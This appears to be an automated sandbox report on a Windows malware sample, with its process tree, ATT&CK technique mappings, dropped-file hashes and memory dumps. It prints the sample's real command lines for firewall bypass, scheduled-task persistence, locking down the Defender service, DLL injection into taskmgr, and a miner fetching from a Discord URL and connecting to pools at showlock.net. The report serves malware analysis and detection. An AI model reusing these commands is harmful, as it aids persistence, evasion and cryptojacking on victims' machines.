PID 768 wrote to memory of 3352	768	csrss.exe	96
PID 768 wrote to memory of 4612	768	csrss.exe	98
PID 768 wrote to memory of 4612	768	csrss.exe	98
PID 768 wrote to memory of 4612	768	csrss.exe	98
PID 768 wrote to memory of 2084	768	csrss.exe	100
PID 768 wrote to memory of 2084	768	csrss.exe	100
PID 2212 wrote to memory of 2672	2212	windefender.exe	107
PID 2212 wrote to memory of 2672	2212	windefender.exe	107
PID 2212 wrote to memory of 2672	2212	windefender.exe	107
PID 2672 wrote to memory of 3372	2672	cmd.exe	108
PID 2672 wrote to memory of 3372	2672	cmd.exe	108
PID 2672 wrote to memory of 3372	2672	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
"C:\Users\Admin\AppData\Local\Temp\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Users\Admin\AppData\Local\Temp\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe
  "C:\Users\Admin\AppData\Local\Temp\91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4872
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4852
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2256
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:5108
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3352
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4612
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2084
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2144
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2672
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2560
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      PID:3740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1988
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2992
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      PID:1332

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hiiig5xo.ht3.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
61KB

MD5
816af2fcc4be6ea3754a251c6157d79e

SHA1
d5875862aa03688c12e284f07bef015ea50e0b59

SHA256
5a8f33bbe4d8dd109e479c338bd57c7fece98daae499ac3bba2824a2a8bc2e47

SHA512
192e558e523bba7297abb2f5a7eda11f4df9b1d6cb87755187678d666ac130d106282a2a75324fcbf98d591359e5520ea8e065b986f6b86b0190cb6d37040c9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
81KB

MD5
d3ddc88e9ace4731a44235ec0c0e1d71

SHA1
81c13937d89aef20ff139f5617eed005f578a0e8

SHA256
d1321e6008430fe90e052048485d7035a9e5f8a3069612f5c3a18d9a8ee68f55

SHA512
22b34e26237ceaf0f1d0d381faa15216dd2ae2a0169eabc6b7015dcbaca2bdc0f1157692ec51e7195de5dc08777bb42d2ea83cfe8673c485414f54e20ac7ea1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
98KB

MD5
a22b1f80c3106888d59f7736bf11e3f0

SHA1
97f927068dbfbc742b69fb5af42e5ea894a1883f

SHA256
94be9e0265e7ae6605650c2ac3a5b34e33b66865d0fdebe65ae4090e786511c8

SHA512
4744a3aa5bfd779a3c7f61686e0df9ab2f371b70fee215c763d296c9d2705d6f8af7c044cbbb996d98f918c89076c288201ea8eae3dfe373bc6fd66a9f64a7db

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
76KB

MD5
6f2c2cd2f6bb4341d0d478e6e8cff1e5

SHA1
c22115ce2ad37dcab52d96d23fcfb2a254618be7

SHA256
65be235933f1738ca367e71c0ae8b064612ad1bd6518d36db86d5bae1fb14734

SHA512
7463511130cec509dd55bc8a59e55ad20bb678004ac28b60d7bf078724018aae5ee95c9b8716cb61df38e24d302c87eca3cf4d5f274f9a5ac860da5058e5cf46

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
241KB

MD5
7ab3ef8cb2414b3f14757dedb48d9a0e

SHA1
200183d5814f5686998c7b44c324b1a422a841db

SHA256
661440367b1648d148368f39a6bf8d95323a4e12a79f98c39dd86aa3a96f419c

SHA512
78d30064d5b35982d79097a0226a121fedfadbca719de08d50bc0321caf98d2279a10ceb1613d9878eccf53196e4bb8258b50b64d40d07d33292a44046f458d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
80KB

MD5
6f5a1801483fb8a59fc519ab16fb6034

SHA1
50f958fe5810b405a7bc1ac1b02488c46fcaba67

SHA256
cfefd5a21763b5e5e2ef30ace67b2abd2638cd5942df76f696df4f343c4700a4

SHA512
3e86e5df8b45673a04252860a9821afcc4b7fe88acabd9fbc4f615b7d5d52925985600ce30393b74fdec95e59abf4f465d838b7bebec20034cee8cff91d8c926

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
69245bed7df6fa9718e953ce2e2ce7f5

SHA1
f3b1b0046b95b0ada06532d3f3c6aee3531e0903

SHA256
f4158f83dbbf0431df63a73e1c05a35c4664de78ee4de283be4a982aeff29b3a

SHA512
7607394ac500b6dd515a4beb55e2864a832ee96698a102a01fbde0137da6ab02b6a9f0f9b1d634ce3fa2cd8b6618151a0079843856c2f0e5b5131399e7aa0428

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
6c2fd03a3f6277132f67c44193245c14

SHA1
0ede54856ce06accddbfdb71e4b8443a41c99246

SHA256
50e039eb451cc7a7e3af28896f0c80c1c58b8f83b1db33f29d3190e4d641ef12

SHA512
f35a8400997d679a7ec1938b4c328ef5b405b5345fc575053e46073fcc2d2f6e43fb00aed557470c8db77b6fe58e6a8d852b2aa8927f729428d744aa25b1c8c1

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
de0df59bf55a8164228af5da4679b92b

SHA1
21b870de775bc745f8034a83f18baa473ad5d917

SHA256
bdf02a924926293c4ce0011302c984a0e2c7b693644ec137320b7465d4f4c59e

SHA512
a7386860e5acb7eb596d33872f449645b114354d93545d00af949c6f3bac6b7d7c6130e41fe8c3a86494c20b38b445ed13f331d1a5b2b3b73dd2035b5a2d8afc

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
f5cca9d378f4a7592441fbc47aed12f4

SHA1
20a4d22a908c7b902a6d95e799b4bbcb3cbc3052

SHA256
bbfba5b65b453f03facf83f2947dd0b7b3ca9a71ce5a258609b58166f3b2327c

SHA512
a284c3d3f1e78c4fa694486c9439cec9a6e6ded03ff02e78dae139652bb7ae16e599830e4dac93264452e65c7122a3d599bed8ce2aeb0fb101c223911d3c62c1

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
13e86810b5d58005736f474fc7028926

SHA1
fa56ae729bb673dcd7c4b6dddbc3a5fd433d5304

SHA256
60dd8e00894707915c2479308357e05b323e88875f4195e5796e8edfcb870911

SHA512
7482325b0d38f35d8b1e31fed970a5406c364949d4f720b9010cc0086de338f60a3577bdd46c49b87af5cef5eef1b82a43261c83b1be668bdf7d6df5a09d3cf5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
200036e7199b29bd63a7d18ac1e5d778

SHA1
6b3776f38d19e6715e7c4376f521bbd24d344717

SHA256
40d3287a6dd4193eb142fed33a05904dddcb6a481e234c314bd42fcbb1e9dc3c

SHA512
19e799d652a430248d3c9ec37d4a1fc815b8d4d685a9cea2c696a811a95f3c32a3dd92a27c5b8995d01b047156508715a72e37339aafe739f2e2d8d86496a736

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
93c3bf60fba4b1ea172e0c0a05cd57d3

SHA1
7e49016925df7de87d517305a0e435f7a8adcfc7

SHA256
2f2e20292b788c4ff4e53228af03ca7ff0ff6cc64e7d9444fa7750cd291c5e1c

SHA512
73c469b66f1020508903ba346808380f001accc65b3276d98e3d4ebf3eb888ba3d09e985ca322f63dfb953e1d67ea73f755404f954c4e5612f2ba98dadeedce3

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
58ac215e70147c8cbc64aa9d4ba64b6a

SHA1
5ed3b21e6e8869473d8f12129bac33d18803e62e

SHA256
460bc56f04fe85777efdbaaaf9d4dd851e5e1300e17a9310972061a357bc37f9

SHA512
8809ede16bae9e3da0b054f4f7e2d466d1d594d816370c5a4af5f64fb67f5d792cdb8718c2700f88ea3bc90fe34f34e4675f38200a59b07c20f8dc9fa5f1699a

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.1MB

MD5
012479b31d8e8d4cc1e99c950dd0f77d

SHA1
2d26e7ae6c0cbb1a66e95f35b2f6ede0835d765b

SHA256
91deee0e5954ec7a7fa5505d7f9c97c7e347df379758691fb1a390969b0328d3

SHA512
ce6b1e32007d841dac8b7478c21f336dfe5e64dcdb8e9df37902a29eef70af9e65801ee10b91cd33eada06a4965ddc0b9eaa25006e49b240a7c8461c86a9b358

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/744-2293-0x0000000000D70000-0x000000000163D000-memory.dmp

Filesize
8.8MB

Download
memory/768-1797-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-2533-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1801-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1799-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1744-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1795-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1793-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1791-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1789-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1787-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1761-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1763-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1765-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1755-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1753-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1803-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1771-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1785-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1783-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1781-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1759-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1767-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1769-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1779-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1757-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1777-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1773-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/768-1775-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2534-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1440-327-0x0000000070AA0000-0x0000000070DF0000-memory.dmp

Filesize
3.3MB

Download
memory/1440-326-0x0000000070A50000-0x0000000070A9B000-memory.dmp

Filesize
300KB

Download
memory/1440-332-0x00000000093C0000-0x0000000009465000-memory.dmp

Filesize
660KB

Download
memory/1440-307-0x0000000007E80000-0x0000000007ECB000-memory.dmp

Filesize
300KB

Download
memory/1440-306-0x0000000007830000-0x0000000007B80000-memory.dmp

Filesize
3.3MB

Download
memory/1988-2076-0x0000000070860000-0x0000000070BB0000-memory.dmp

Filesize
3.3MB

Download
memory/1988-2075-0x0000000070810000-0x000000007085B000-memory.dmp

Filesize
300KB

Download
memory/2212-1749-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2212-1752-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2256-805-0x0000000070AC0000-0x0000000070E10000-memory.dmp

Filesize
3.3MB

Download
memory/2256-804-0x0000000070A50000-0x0000000070A9B000-memory.dmp

Filesize
300KB

Download
memory/2392-1758-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2392-1751-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2392-1754-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2560-1808-0x0000000008BD0000-0x0000000008C1B000-memory.dmp

Filesize
300KB

Download
memory/2560-1829-0x0000000070860000-0x0000000070BB0000-memory.dmp

Filesize
3.3MB

Download
memory/2560-1834-0x0000000009B40000-0x0000000009BE5000-memory.dmp

Filesize
660KB

Download
memory/2560-1828-0x0000000070810000-0x000000007085B000-memory.dmp

Filesize
300KB

Download
memory/2560-1806-0x0000000008150000-0x00000000084A0000-memory.dmp

Filesize
3.3MB

Download
memory/2856-302-0x0000000002DF0000-0x00000000036DB000-memory.dmp

Filesize
8.9MB

Download
memory/2856-2-0x0000000002DF0000-0x00000000036DB000-memory.dmp

Filesize
8.9MB

Download
memory/2856-1-0x00000000029E0000-0x0000000002DE1000-memory.dmp

Filesize
4.0MB

Download
memory/2856-301-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2856-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2992-2296-0x0000000007A40000-0x0000000007D90000-memory.dmp

Filesize
3.3MB

Download
memory/2992-2316-0x0000000070810000-0x000000007085B000-memory.dmp

Filesize
300KB

Download
memory/2992-2317-0x0000000070880000-0x0000000070BD0000-memory.dmp

Filesize
3.3MB

Download
memory/3352-1270-0x0000000007EA0000-0x0000000007EEB000-memory.dmp

Filesize
300KB

Download
memory/3352-1268-0x0000000007580000-0x00000000078D0000-memory.dmp

Filesize
3.3MB

Download
memory/3352-1295-0x0000000008EC0000-0x0000000008F65000-memory.dmp

Filesize
660KB

Download
memory/3352-1290-0x0000000070950000-0x0000000070CA0000-memory.dmp

Filesize
3.3MB

Download
memory/3352-1289-0x0000000070900000-0x000000007094B000-memory.dmp

Filesize
300KB

Download
memory/3740-2051-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/3740-2055-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/4332-1047-0x00000000709B0000-0x00000000709FB000-memory.dmp

Filesize
300KB

Download
memory/4332-1053-0x00000000093B0000-0x0000000009455000-memory.dmp

Filesize
660KB

Download
memory/4332-1027-0x0000000007A70000-0x0000000007DC0000-memory.dmp

Filesize
3.3MB

Download
memory/4332-1028-0x0000000007E30000-0x0000000007E7B000-memory.dmp

Filesize
300KB

Download
memory/4332-1048-0x0000000070A00000-0x0000000070D50000-memory.dmp

Filesize
3.3MB

Download
memory/4612-1526-0x0000000070950000-0x0000000070CA0000-memory.dmp

Filesize
3.3MB

Download
memory/4612-1525-0x0000000070900000-0x000000007094B000-memory.dmp

Filesize
300KB

Download
memory/4812-11-0x0000000007400000-0x0000000007422000-memory.dmp

Filesize
136KB

Download
memory/4812-277-0x000000000A2F0000-0x000000000A30A000-memory.dmp

Filesize
104KB

Download
memory/4812-83-0x0000000073C20000-0x000000007430E000-memory.dmp

Filesize
6.9MB

Download
memory/4812-75-0x0000000073C20000-0x000000007430E000-memory.dmp

Filesize
6.9MB

Download
memory/4812-76-0x0000000070980000-0x0000000070CD0000-memory.dmp

Filesize
3.3MB

Download
memory/4812-77-0x000000000A110000-0x000000000A12E000-memory.dmp

Filesize
120KB

Download
memory/4812-82-0x000000000A170000-0x000000000A215000-memory.dmp

Filesize
660KB

Download
memory/4812-74-0x0000000070930000-0x000000007097B000-memory.dmp

Filesize
300KB

Download
memory/4812-66-0x00000000092E0000-0x0000000009356000-memory.dmp

Filesize
472KB

Download
memory/4812-35-0x0000000008750000-0x000000000878C000-memory.dmp

Filesize
240KB

Download
memory/4812-16-0x00000000082E0000-0x000000000832B000-memory.dmp

Filesize
300KB

Download
memory/4812-84-0x000000000A350000-0x000000000A3E4000-memory.dmp

Filesize
592KB

Download
memory/4812-15-0x00000000081A0000-0x00000000081BC000-memory.dmp

Filesize
112KB

Download
memory/4812-73-0x000000000A130000-0x000000000A163000-memory.dmp

Filesize
204KB

Download
memory/4812-14-0x0000000007E30000-0x0000000008180000-memory.dmp

Filesize
3.3MB

Download
memory/4812-282-0x000000000A2E0000-0x000000000A2E8000-memory.dmp

Filesize
32KB

Download
memory/4812-13-0x0000000007510000-0x0000000007576000-memory.dmp

Filesize
408KB

Download
memory/4812-12-0x00000000074A0000-0x0000000007506000-memory.dmp

Filesize
408KB

Download
memory/4812-10-0x0000000073C20000-0x000000007430E000-memory.dmp

Filesize
6.9MB

Download
memory/4812-8-0x0000000073C20000-0x000000007430E000-memory.dmp

Filesize
6.9MB

Download
memory/4812-9-0x0000000007800000-0x0000000007E28000-memory.dmp

Filesize
6.2MB

Download
memory/4812-300-0x0000000073C20000-0x000000007430E000-memory.dmp

Filesize
6.9MB

Download
memory/4812-6-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

Filesize
4KB

Download
memory/4812-7-0x0000000004990000-0x00000000049C6000-memory.dmp

Filesize
216KB

Download
memory/4832-1021-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4852-565-0x0000000070A50000-0x0000000070A9B000-memory.dmp

Filesize
300KB

Download
memory/4852-545-0x0000000007D80000-0x00000000080D0000-memory.dmp

Filesize
3.3MB

Download
memory/4852-566-0x0000000070AC0000-0x0000000070E10000-memory.dmp

Filesize
3.3MB

Download